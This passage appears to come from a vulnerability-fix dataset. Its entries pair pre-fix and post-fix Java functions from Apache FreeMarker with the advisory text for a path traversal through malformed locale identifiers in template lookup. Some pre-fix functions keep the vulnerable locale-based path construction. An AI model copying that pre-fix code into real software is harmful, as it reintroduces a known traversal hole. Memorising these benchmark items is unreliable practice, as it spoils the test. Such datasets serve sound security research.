\n return path;\n }\n\n @Override" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "AliasTemplateDateFormatFactory" +function_lines = [[42, 91]] +id = "apache-freemarker-aace5c9941b635b3" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/core/AliasTemplateDateFormatFactory.java" +post_fix = " public AliasTemplateDateFormatFactory(String targetFormatString) {\n this(targetFormatString, null);\n }\n\n /**\n * @param defaultTargetFormatString\n * The format string this format will be an alias to if there's no locale-specific format string for the\n * requested locale in {@code localizedTargetFormatStrings}. Not {@code null}.\n * @param localizedTargetFormatStrings\n * Maps {@link Locale}-s to format strings (maybe {@code null}). If the desired locale doesn't occur in the\n * map, a less specific locale is tried, repeatedly until only the language part remains. For example, if\n * locale is {@code new Locale(\"en\", \"US\", \"Linux\")}, then these keys will be attempted until a match is\n * found, in this order: {@code new Locale(\"en\", \"US\", \"Linux\")}, {@code new Locale(\"en\", \"US\")},\n * {@code new Locale(\"en\")}. If there's still no matching key, the value of the {@code targetFormatString}\n * will be used.\n */\n public AliasTemplateDateFormatFactory(\n String defaultTargetFormatString, Map localizedTargetFormatStrings) {\n NullArgumentException.check(\"defaultTargetFormatString\", defaultTargetFormatString);\n this.defaultTargetFormatString = defaultTargetFormatString;\n this.localizedTargetFormatStrings = localizedTargetFormatStrings;\n }\n\n @Override\n public TemplateDateFormat get(String params, int dateType, Locale locale, TimeZone timeZone, boolean zonelessInput,\n Environment env) throws TemplateValueFormatException {\n TemplateFormatUtil.checkHasNoParameters(params);\n try {\n String targetFormatString;\n if (localizedTargetFormatStrings != null) {\n Locale lookupLocale = locale;\n targetFormatString = localizedTargetFormatStrings.get(lookupLocale);\n while (targetFormatString == null\n && (lookupLocale = _CoreLocaleUtils.getLessSpecificLocale(lookupLocale)) != null) {\n targetFormatString = localizedTargetFormatStrings.get(lookupLocale);\n }\n } else {\n targetFormatString = null;\n }\n if (targetFormatString == null) {\n targetFormatString = this.defaultTargetFormatString;\n }\n return env.getTemplateDateFormat(targetFormatString, dateType, locale, timeZone, zonelessInput);\n } catch (TemplateValueFormatException e) {\n throw new AliasTargetTemplateValueFormatException(\"Failed to create format based on target format string, \"\n + StringUtil.jQuote(params) + \". Reason given: \" + e.getMessage(), e);\n }\n }\n\n}" +pre_fix = " public AliasTemplateDateFormatFactory(String targetFormatString) {\n this.defaultTargetFormatString = targetFormatString;\n localizedTargetFormatStrings = null;\n }\n\n /**\n * @param defaultTargetFormatString\n * The format string this format will be an alias to if there's no locale-specific format string for the\n * requested locale in {@code localizedTargetFormatStrings}\n * @param localizedTargetFormatStrings\n * Maps {@link Locale}-s to format strings. If the desired locale doesn't occur in the map, a less\n * specific locale is tried, repeatedly until only the language part remains. For example, if locale is\n * {@code new Locale(\"en\", \"US\", \"Linux\")}, then these keys will be attempted untol a match is found, in\n * this order: {@code new Locale(\"en\", \"US\", \"Linux\")}, {@code new Locale(\"en\", \"US\")},\n * {@code new Locale(\"en\")}. If there's still no matching key, the value of the\n * {@code targetFormatString} will be used.\n */\n public AliasTemplateDateFormatFactory(\n String defaultTargetFormatString, Map localizedTargetFormatStrings) {\n this.defaultTargetFormatString = defaultTargetFormatString;\n this.localizedTargetFormatStrings = localizedTargetFormatStrings;\n }\n \n @Override\n public TemplateDateFormat get(String params, int dateType, Locale locale, TimeZone timeZone, boolean zonelessInput,\n Environment env) throws TemplateValueFormatException {\n TemplateFormatUtil.checkHasNoParameters(params);\n try {\n String targetFormatString;\n if (localizedTargetFormatStrings != null) {\n Locale lookupLocale = locale;\n targetFormatString = localizedTargetFormatStrings.get(lookupLocale);\n while (targetFormatString == null\n && (lookupLocale = _CoreLocaleUtils.getLessSpecificLocale(lookupLocale)) != null) {\n targetFormatString = localizedTargetFormatStrings.get(lookupLocale);\n }\n } else {\n targetFormatString = null;\n }\n if (targetFormatString == null) {\n targetFormatString = this.defaultTargetFormatString;\n }\n return env.getTemplateDateFormat(targetFormatString, dateType, locale, timeZone, zonelessInput);\n } catch (TemplateValueFormatException e) {\n throw new AliasTargetTemplateValueFormatException(\"Failed to create format based on target format string, \"\n + StringUtil.jQuote(params) + \". Reason given: \" + e.getMessage(), e);\n }\n }\n\n}" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "throwLoadFailedException" +function_lines = [[501, 513]] +id = "apache-freemarker-c0f61114ff3ab48a" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" +post_fix = " private void throwLoadFailedException(Throwable e) throws IOException {\n throw new IOException(\n \"There was an error loading the template on an earlier attempt; see cause exception.\",\n e);\n }\n\n private void storeNegativeLookup(TemplateKey tk,\n CachedTemplate cachedTemplate, Exception e) {\n cachedTemplate.templateOrException = e;\n cachedTemplate.source = null;\n cachedTemplate.lastModified = 0L;\n storeCached(tk, cachedTemplate);\n }\n" +pre_fix = " private void throwLoadFailedException(Throwable e) throws IOException {\n throw newIOException(\"There was an error loading the \" +\n \"template on an earlier attempt; see cause exception.\", e);\n }\n\n private void storeNegativeLookup(TemplateKey tk, \n CachedTemplate cachedTemplate, Exception e) {\n cachedTemplate.templateOrException = e;\n cachedTemplate.source = null;\n cachedTemplate.lastModified = 0L;\n storeCached(tk, cachedTemplate);\n }\n" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "removeDotSteps" +function_lines = [[327, 361]] +id = "apache-freemarker-cf639b1623d15342" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateNameFormat.java" +post_fix = " private String removeDotSteps(String path) {\n int nextFromIdx = path.length() - 1;\n while (true) {\n final int dotIdx = path.lastIndexOf('.', nextFromIdx);\n if (dotIdx < 0) {\n return path;\n }\n nextFromIdx = dotIdx - 1;\n\n if (dotIdx != 0 && path.charAt(dotIdx - 1) != '/') {\n // False alarm\n continue;\n }\n\n final boolean slashRight;\n if (dotIdx + 1 == path.length()) {\n slashRight = false;\n } else if (path.charAt(dotIdx + 1) == '/') {\n slashRight = true;\n } else {\n // False alarm\n continue;\n }\n\n if (slashRight) { // \"foo/./bar\" or \"./bar\" \n path = path.substring(0, dotIdx) + path.substring(dotIdx + 2);\n } else { // \"foo/.\" or \".\"\n path = path.substring(0, path.length() - 1);\n }\n }\n }\n\n /**\n * @param name\n * The original name, needed for exception error messages.\n */" +pre_fix = " private String removeDotSteps(String path) {\n int nextFromIdx = path.length() - 1;\n findDotSteps: while (true) {\n final int dotIdx = path.lastIndexOf('.', nextFromIdx);\n if (dotIdx < 0) {\n return path;\n }\n nextFromIdx = dotIdx - 1;\n \n if (dotIdx != 0 && path.charAt(dotIdx - 1) != '/') {\n // False alarm\n continue findDotSteps;\n }\n \n final boolean slashRight;\n if (dotIdx + 1 == path.length()) {\n slashRight = false;\n } else if (path.charAt(dotIdx + 1) == '/') {\n slashRight = true;\n } else {\n // False alarm\n continue findDotSteps;\n }\n \n if (slashRight) { // \"foo/./bar\" or \"./bar\" \n path = path.substring(0, dotIdx) + path.substring(dotIdx + 2);\n } else { // \"foo/.\" or \".\"\n path = path.substring(0, path.length() - 1);\n }\n }\n }\n \n /**\n * @param name The original name, needed for exception error messages.\n */" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "ClassTemplateLoader" +function_lines = [[53, 68]] +id = "apache-freemarker-cfc58a253de5f6bd" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/ClassTemplateLoader.java" +post_fix = " public ClassTemplateLoader() {\n this(null, null, \"/\");\n }\n\n /**\n * Creates a template loader that will use the {@link Class#getResource(String)} method of the specified class to\n * load the resources, and {@code \"\"} as base package path. This means that template paths will be resolved\n * relatively to the class location, that is, relatively to the directory (package) of the class.\n *\n * @param resourceLoaderClass\n * the class whose {@link Class#getResource(String)} will be used to load the templates.\n *\n * @deprecated It's confusing that the base path is {@code \"\"}; use {@link #ClassTemplateLoader(Class, String)}\n * instead.\n */\n @Deprecated" +pre_fix = " public ClassTemplateLoader() {\n this(null, true, null, \"/\");\n }\n\n /**\n * Creates a template loader that will use the {@link Class#getResource(String)} method of the specified class to\n * load the resources, and {@code \"\"} as base package path. This means that template paths will be resolved\n * relatively to the class location, that is, relatively to the directory (package) of the class.\n *\n * @param resourceLoaderClass\n * the class whose {@link Class#getResource(String)} will be used to load the templates.\n *\n * @deprecated It's confusing that the base path is {@code \"\"}; use {@link #ClassTemplateLoader(Class, String)}\n * instead.\n */\n @Deprecated" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "resolveDotDotSteps" +function_lines = [[362, 423]] +id = "apache-freemarker-d058151619a90d08" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateNameFormat.java" +post_fix = " private String resolveDotDotSteps(String path, final String name) throws MalformedTemplateNameException {\n int nextFromIdx = 0;\n while (true) {\n final int dotDotIdx = path.indexOf(\"..\", nextFromIdx);\n if (dotDotIdx < 0) {\n return path;\n }\n\n if (dotDotIdx == 0) {\n throw newRootLeavingException(name);\n } else if (path.charAt(dotDotIdx - 1) != '/') {\n // False alarm\n nextFromIdx = dotDotIdx + 3;\n continue;\n }\n // Here we know that it has a preceding \"/\".\n\n final boolean slashRight;\n if (dotDotIdx + 2 == path.length()) {\n slashRight = false;\n } else if (path.charAt(dotDotIdx + 2) == '/') {\n slashRight = true;\n } else {\n // False alarm\n nextFromIdx = dotDotIdx + 3;\n continue;\n }\n\n int previousSlashIdx;\n boolean skippedStarStep = false;\n {\n int searchSlashBacwardsFrom = dotDotIdx - 2; // before the \"/..\"\n while (true) {\n if (searchSlashBacwardsFrom == -1) {\n throw newRootLeavingException(name);\n }\n previousSlashIdx = path.lastIndexOf('/', searchSlashBacwardsFrom);\n if (previousSlashIdx == -1) {\n if (searchSlashBacwardsFrom == 0 && path.charAt(0) == '*') {\n // \"*/..\"\n throw newRootLeavingException(name);\n }\n break;\n }\n if (path.charAt(previousSlashIdx + 1) == '*' && path.charAt(previousSlashIdx + 2) == '/') {\n skippedStarStep = true;\n searchSlashBacwardsFrom = previousSlashIdx - 1;\n } else {\n break;\n }\n }\n }\n\n // Note: previousSlashIdx is possibly -1\n // Removed part in {}: \"a/{b/*/../}c\" or \"a/{b/*/..}\"\n path = path.substring(0, previousSlashIdx + 1)\n + (skippedStarStep ? \"*/\" : \"\")\n + path.substring(dotDotIdx + (slashRight ? 3 : 2));\n nextFromIdx = previousSlashIdx + 1;\n }\n }\n" +pre_fix = " private String resolveDotDotSteps(String path, final String name) throws MalformedTemplateNameException {\n int nextFromIdx = 0;\n findDotDotSteps: while (true) {\n final int dotDotIdx = path.indexOf(\"..\", nextFromIdx);\n if (dotDotIdx < 0) {\n return path;\n }\n \n if (dotDotIdx == 0) {\n throw newRootLeavingException(name);\n } else if (path.charAt(dotDotIdx - 1) != '/') {\n // False alarm\n nextFromIdx = dotDotIdx + 3;\n continue findDotDotSteps;\n }\n // Here we know that it has a preceding \"/\".\n \n final boolean slashRight;\n if (dotDotIdx + 2 == path.length()) {\n slashRight = false;\n } else if (path.charAt(dotDotIdx + 2) == '/') {\n slashRight = true;\n } else {\n // False alarm\n nextFromIdx = dotDotIdx + 3;\n continue findDotDotSteps;\n }\n \n int previousSlashIdx;\n boolean skippedStarStep = false;\n {\n int searchSlashBacwardsFrom = dotDotIdx - 2; // before the \"/..\"\n scanBackwardsForSlash: while (true) {\n if (searchSlashBacwardsFrom == -1) {\n throw newRootLeavingException(name);\n }\n previousSlashIdx = path.lastIndexOf('/', searchSlashBacwardsFrom);\n if (previousSlashIdx == -1) {\n if (searchSlashBacwardsFrom == 0 && path.charAt(0) == '*') {\n // \"*/..\"\n throw newRootLeavingException(name);\n }\n break scanBackwardsForSlash;\n }\n if (path.charAt(previousSlashIdx + 1) == '*' && path.charAt(previousSlashIdx + 2) == '/') {\n skippedStarStep = true;\n searchSlashBacwardsFrom = previousSlashIdx - 1; \n } else {\n break scanBackwardsForSlash;\n }\n }\n }\n \n // Note: previousSlashIdx is possibly -1\n // Removed part in {}: \"a/{b/*/../}c\" or \"a/{b/*/..}\"\n path = path.substring(0, previousSlashIdx + 1)\n + (skippedStarStep ? \"*/\" : \"\")\n + path.substring(dotDotIdx + (slashRight ? 3 : 2));\n nextFromIdx = previousSlashIdx + 1;\n }\n }\n " +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "MaybeMissingTemplate" +function_lines = [[958, 964]] +id = "apache-freemarker-d260924010aace8a" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" +post_fix = " private MaybeMissingTemplate(Template template) {\n this.template = template;\n this.missingTemplateNormalizedName = null;\n this.missingTemplateReason = null;\n this.missingTemplateCauseException = null;\n }\n\n private MaybeMissingTemplate(\n String normalizedName,\n MalformedTemplateNameException missingTemplateCauseException) {\n this.template = null;\n this.missingTemplateNormalizedName = normalizedName;\n this.missingTemplateReason = null;\n this.missingTemplateCauseException = missingTemplateCauseException;\n }\n\n private MaybeMissingTemplate(\n String normalizedName,\n String missingTemplateReason) {\n this.template = null;\n this.missingTemplateNormalizedName = normalizedName;\n this.missingTemplateReason = missingTemplateReason;\n this.missingTemplateCauseException = null;\n }\n\n /**\n * The {@link Template} if it wasn't missing, otherwise {@code null}.\n */" +pre_fix = " private MaybeMissingTemplate(Template template) {\n this.template = template;\n this.missingTemplateNormalizedName = null;\n this.missingTemplateReason = null;\n this.missingTemplateCauseException = null;\n }\n " +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "lookupWithLocalizedThenAcquisitionStrategy" +function_lines = [[914, 942]] +id = "apache-freemarker-d3c7bc0ea1b565c4" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" +post_fix = " public TemplateLookupResult lookupWithLocalizedThenAcquisitionStrategy(final String templateName,\n final Locale templateLocale) throws IOException {\n\n if (templateLocale == null) {\n return lookupWithAcquisitionStrategy(templateName);\n }\n\n int lastDot = templateName.lastIndexOf('.');\n String prefix = lastDot == -1 ? templateName : templateName.substring(0, lastDot);\n String suffix = lastDot == -1 ? \"\" : templateName.substring(lastDot);\n String localeInfix = toLocaleInfix(templateLocale);\n StringBuilder buf = new StringBuilder(templateName.length() + localeInfix.length());\n buf.append(prefix);\n while (true) {\n buf.setLength(prefix.length());\n String path = buf.append(localeInfix).append(suffix).toString();\n TemplateLookupResult lookupResult = lookupWithAcquisitionStrategy(path);\n if (lookupResult.isPositive()) {\n return lookupResult;\n }\n\n int lastUnderscore = localeInfix.lastIndexOf(LOCALE_INFIX_SEPARATOR);\n if (lastUnderscore == -1) {\n break;\n }\n localeInfix = localeInfix.substring(0, lastUnderscore);\n }\n return createNegativeLookupResult();\n }" +pre_fix = " public TemplateLookupResult lookupWithLocalizedThenAcquisitionStrategy(final String templateName,\n final Locale templateLocale) throws IOException {\n \n if (templateLocale == null) {\n return lookupWithAcquisitionStrategy(templateName);\n }\n \n int lastDot = templateName.lastIndexOf('.');\n String prefix = lastDot == -1 ? templateName : templateName.substring(0, lastDot);\n String suffix = lastDot == -1 ? \"\" : templateName.substring(lastDot);\n String localeName = LOCALE_PART_SEPARATOR + templateLocale.toString();\n StringBuilder buf = new StringBuilder(templateName.length() + localeName.length());\n buf.append(prefix);\n tryLocaleNameVariations: while (true) {\n buf.setLength(prefix.length());\n String path = buf.append(localeName).append(suffix).toString();\n TemplateLookupResult lookupResult = lookupWithAcquisitionStrategy(path);\n if (lookupResult.isPositive()) {\n return lookupResult;\n }\n \n int lastUnderscore = localeName.lastIndexOf('_');\n if (lastUnderscore == -1) {\n break tryLocaleNameVariations;\n }\n localeName = localeName.substring(0, lastUnderscore);\n }\n return createNegativeLookupResult();\n }" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "OptInTemplateClassResolver" +function_lines = [[68, 89]] +id = "apache-freemarker-d4b9c3b8b1a5b2c3" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/core/OptInTemplateClassResolver.java" +post_fix = " public OptInTemplateClassResolver(\n Set allowedClasses, List trustedTemplates) {\n this.allowedClasses = allowedClasses != null ? allowedClasses : Collections.EMPTY_SET;\n if (trustedTemplates != null) {\n trustedTemplateNames = new HashSet<>();\n trustedTemplatePrefixes = new ArrayList<>();\n\n for (Object trustedTemplate : trustedTemplates) {\n String li = (String) trustedTemplate;\n if (li.startsWith(\"/\")) li = li.substring(1);\n if (li.endsWith(\"*\")) {\n trustedTemplatePrefixes.add(li.substring(0, li.length() - 1));\n } else {\n trustedTemplateNames.add(li);\n }\n }\n } else {\n trustedTemplateNames = Collections.emptySet();\n trustedTemplatePrefixes = Collections.emptyList();\n }\n }" +pre_fix = " public OptInTemplateClassResolver(\n Set allowedClasses, List trustedTemplates) {\n this.allowedClasses = allowedClasses != null ? allowedClasses : Collections.EMPTY_SET;\n if (trustedTemplates != null) {\n trustedTemplateNames = new HashSet();\n trustedTemplatePrefixes = new ArrayList();\n \n Iterator it = trustedTemplates.iterator();\n while (it.hasNext()) {\n String li = (String) it.next();\n if (li.startsWith(\"/\")) li = li.substring(1);\n if (li.endsWith(\"*\")) {\n trustedTemplatePrefixes.add(li.substring(0, li.length() - 1));\n } else {\n trustedTemplateNames.add(li);\n }\n }\n } else {\n trustedTemplateNames = Collections.EMPTY_SET;\n trustedTemplatePrefixes = Collections.EMPTY_LIST;\n }\n }" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = "GHSA-27j2-h3m2-8237" +advisory_text = "Apache FreeMarker template loading mechanism vulnerable to path traversal\n\nPath traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).\n\nThis issue affects Apache FreeMarker from 2.2.0 through 2.3.34.\n\nUsers are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.\n\nNote that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context." +commit = "83953d9a9fa5a7c1fce3e39ff57182c19a34b5eb" +cwe = "CWE-23" +family = "path" +function = "lookupTemplateWithAcquisitionStrategy" +function_lines = [[740, 782]] +id = "apache-freemarker-eb721acc4b96dd7f" +language = "java" +method = "fix_site" +parent = "3e0d0c02f72c429f3c101fe46891df14a9b0539d" +path = "freemarker-core/src/main/java/freemarker/cache/TemplateCache.java" +post_fix = " private TemplateLookupResult lookupTemplateWithAcquisitionStrategy(String path) throws IOException {\n int asterisk = path.indexOf(ASTERISK);\n // Shortcut in case there is no acquisition\n if (asterisk == -1) {\n return TemplateLookupResult.from(path, findTemplateSource(path));\n }\n StringTokenizer tok = new StringTokenizer(path, \"/\");\n int lastAsterisk = -1;\n List tokpath = new ArrayList<>();\n while (tok.hasMoreTokens()) {\n String pathToken = tok.nextToken();\n if (pathToken.equals(ASTERISK_STR)) {\n if (lastAsterisk != -1) {\n tokpath.remove(lastAsterisk);\n }\n lastAsterisk = tokpath.size();\n }\n tokpath.add(pathToken);\n }\n if (lastAsterisk == -1) { // if there was no real \"*\" step after all\n return TemplateLookupResult.from(path, findTemplateSource(path));\n }\n String basePath = concatPath(tokpath, 0, lastAsterisk);\n String resourcePath = concatPath(tokpath, lastAsterisk + 1, tokpath.size());\n if (resourcePath.endsWith(\"/\")) {\n resourcePath = resourcePath.substring(0, resourcePath.length() - 1);\n }\n StringBuilder buf = new StringBuilder(path.length()).append(basePath);\n int l = basePath.length();\n for (; ; ) {\n String fullPath = buf.append(resourcePath).toString();\n Object templateSource = findTemplateSource(fullPath);\n if (templateSource != null) {\n return TemplateLookupResult.from(fullPath, templateSource);\n }\n if (l == 0) {\n return TemplateLookupResult.createNegativeResult();\n }\n l = basePath.lastIndexOf(SLASH, l - 2) + 1;\n buf.setLength(l);\n }\n }\n" +pre_fix = " private TemplateLookupResult lookupTemplateWithAcquisitionStrategy(String path) throws IOException {\n int asterisk = path.indexOf(ASTERISK);\n // Shortcut in case there is no acquisition\n if (asterisk == -1) {\n return TemplateLookupResult.from(path, findTemplateSource(path));\n }\n StringTokenizer tok = new StringTokenizer(path, \"/\");\n int lastAsterisk = -1;\n List tokpath = new ArrayList();\n while (tok.hasMoreTokens()) {\n String pathToken = tok.nextToken();\n if (pathToken.equals(ASTERISKSTR)) {\n if (lastAsterisk != -1) {\n tokpath.remove(lastAsterisk);\n }\n lastAsterisk = tokpath.size();\n }\n tokpath.add(pathToken);\n }\n if (lastAsterisk == -1) { // if there was no real \"*\" step after all\n return TemplateLookupResult.from(path, findTemplateSource(path));\n }\n String basePath = concatPath(tokpath, 0, lastAsterisk);\n String resourcePath = concatPath(tokpath, lastAsterisk + 1, tokpath.size());\n if (resourcePath.endsWith(\"/\")) {\n resourcePath = resourcePath.substring(0, resourcePath.length() - 1);\n }\n StringBuilder buf = new StringBuilder(path.length()).append(basePath);\n int l = basePath.length();\n for (; ; ) {\n String fullPath = buf.append(resourcePath).toString();\n Object templateSource = findTemplateSource(fullPath);\n if (templateSource != null) {\n return TemplateLookupResult.from(fullPath, templateSource);\n }\n if (l == 0) {\n return TemplateLookupResult.createNegativeResult();\n }\n l = basePath.lastIndexOf(SLASH, l - 2) + 1;\n buf.setLength(l);\n }\n }\n" +repo = "apache/freemarker" +url = "https://github.com/apache/freemarker.git" + +[[case]] +advisory = 